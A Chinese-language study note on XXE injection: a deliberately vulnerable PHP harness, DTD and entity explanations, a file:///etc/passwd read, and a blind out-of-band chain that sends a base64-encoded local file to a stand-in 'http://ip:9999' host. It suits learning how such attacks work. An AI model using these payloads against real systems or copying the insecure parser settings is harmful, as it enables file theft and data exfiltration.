XXE 学习笔记

本文所用的测试代码

<?php
$input = <<<STR
# 这里写XML
STR;
;

# 设置libxml库的实体加载器为false,可能会处理来自请求XML中定义的外部实体。
libxml_disable_entity_loader (false);   
$xmlfile = $input;
$dom = new DOMDocument(); 
# 加载XML数据。选项LIBXML_NOENT和LIBXML_DTDLOAD分别表示启用实体替换和加载DTD。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
# SimpleXMLElement对象使得处理XML数据更加简单    
$creds = simplexml_import_dom($dom);
# 打印整个XML文档
echo $creds->asXML();

背景知识

概念

  • XML:即可扩展标记语言(Extensible Markup Language),被设计用于在网络上进行信息传输和存储。
  • XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。
  • DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。

XXE Payload 格式

DTD的使用(主要的攻击方式

DTD的引用方式

在XML文档中,可以通过两种方式引用DTD:内部引用和外部引用。

内部DTD:直接在XML文档中定义DTD。这通常发生在XML文档的声明部分,紧接着在根元素之前。定义内部DTD的语法如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element [ 
<!-- DTD 内容 --> 
]> 
<root-element>
    <!-- XML 文档内容 -->
</root-element>

比如:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
    <!ELEMENT user ANY >
]>
<user>
    <username>admin</username>
    <password>admin</password>
</user>

外部DTD:在外部文件中定义DTD,并在XML文档中通过URI引用。外部DTD可以在多个XML文档中重复使用。定义外部DTD的语法如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "URL"> 
<root-element>
    <!-- XML 文档内容 -->
</root-element>

DTD实体声明(重点)

DTD实体(Entity)是一种机制,可以用于定义XML中可重用的字符串或代码片段。

实体通常可以分为两种类型:内部实体和外部实体。

内部实体:内部实体是在DTD中定义并在XML文档中使用的实体。它的定义方法如下

<!ENTITY xxe "skyblu3">

这个实体在XML文档中通过&实体名称;的方式引用

<username>&xxe;</username>

外部实体:外部实体是在DTD中定义但其内容存储在外部文件中的实体。外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

使用方法:

<!ENTITY xxe SYSTEM "URI/URL">

例子:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <username>&xxe;</username>
    <password>admin</password>
</user>

除了内部实体和外部实体,XML还有一个比较特殊的实体:实体参数

上面的实体都是用于XML文档中的,而实体参数则是用于在DTD中定义可重用的字符串或代码片段。

实体参数的声明和实体一样有内部和外部两种

<!ENTITY % name "<!ENTITY xxe 'skyblue3'>">
<!ENTITY % name SYSTEM "URI">

实体参数通过%name;来引用

<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY % name "<!ENTITY xxe 'skyblue3'>">
    %name;
]>
<user>
    <username>&xxe;</username>
    <password>admin</password>
</user>

来看下外部引入,在xml.dtd写入

<!ENTITY xxe "skyblue3">

外部引用这个实体参数,与上面达到同样的效果

    <!ENTITY % name SYSTEM "file:///tmp/xml.dtd">
    %name;

攻击思路

从上面的例子对XXE最大的感受就是,它可以请求指定URL/URI的内容,并在条件允许的情况下把请求的内容加载出来。所以XXE能做的事还是非常多的(DDoS,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等)。

一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

这里以文件读取来测试有回显和无回显两种情况。

有回显

有回显的情况很好理解,之前的例子中已经有了。

还可以利用实体参数来做,在evil.dtd中写入

<!ENTITY evil SYSTEM "file:///Users/ea5ter/tmp/flag" >

像这样引用

<!DOCTYPE foo [
    <!ELEMENT foo ANY >
        <!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
        %dtd;
]>

无回显

将测试代码中的echo $creds->asXML();注释掉。

对于无回显的情况,需要使用外部实体将数据带出来。具体操作如下:

编写evil.dtd,放在服务器上。

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://ip:9999/?data=%file;'>"
>
%all;

DTD部分:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/ea5ter/tmp/flag">
<!ENTITY % dtd SYSTEM "http://IP/evil.dtd">
%dtd;
%send;

整个流程如下:

  1. 解析器首先解析XML文档的DTD。在这个过程中,它遇到了%file实体的定义,于是解析器读取指定的文件,并将其内容转换为Base64格式。
  2. 解析器然后处理%dtd实体的定义。首先从指定的URL加载evil.dtd文件,并解析其中的内容。在这个过程中,遇到了%all实体的定义,于是它创建了一个名为%send的实体。
  3. 最后,处理%send实体的引用。这导致解析器向服务器发送了一个请求,请求参数data的值是%file实体的值。

数据顺利外带

不过这里我还是有点疑问,为什么%send一定要写在外部实体中?直接写出来就不行呢?🤔

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/ea5ter/tmp/flag">
<!ENTITY % send SYSTEM "http://IP:9999/?p=%file;">
%send;

之后搜索一下🔍

One Day Later......

现在来回答上面这个问题,主要涉及两个DTD的规则。

首先,实体参数在同一个DTD中不能在声明中引用,只能位于其他声明之间。

<!ENTITY % name "skkyblu3">
<!ENTITY xxe "%name;">

所以上面的xxe并不会被替换为<!ENTITY xxe "skkyblu3">,相反解析这个DTD会产生报错。这种类型的替换形式(在声明中进行替换)只能用于DTD外部子集。

要做到上面的替换,我们需要在一个外部dtd中写入:

<!ENTITY xxe "%name;">

再去加载

<!ENTITY % name "skkyblu3">
<!ENTITY % dtd SYSTEM "http://IP/sky.dtd">
%dtd;

因此,payload中读取到的%file;就只能通过引入外部的参数实体http://ip/evil.dtd,在这个外部实体中加载。

在知道引入外部参数实体的原因后,我们再看到evil.dtd的写法

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://ip:9999/?data=%file;'>"
>
%all;

这里的send是定义在all这个内部参数实体中的,为什么不能直接写出来呢?像下面这样

<!ENTITY % send SYSTEM "http://ip:9999/?data=%file;">

这是因为XML规范规定,参数实体不能直接用于构成URI。这意味着SYSTEM "http://ip:9999/?data=%file;"这里是不能直接使用%file;的。

所以需要用all这个内部参数实体来引入send,再使用%all;来展开这个实体。

参考链接

DTD实体之参数实体
一篇文章带你深入理解漏洞之 XXE 漏洞
歪?我想要一个XXE。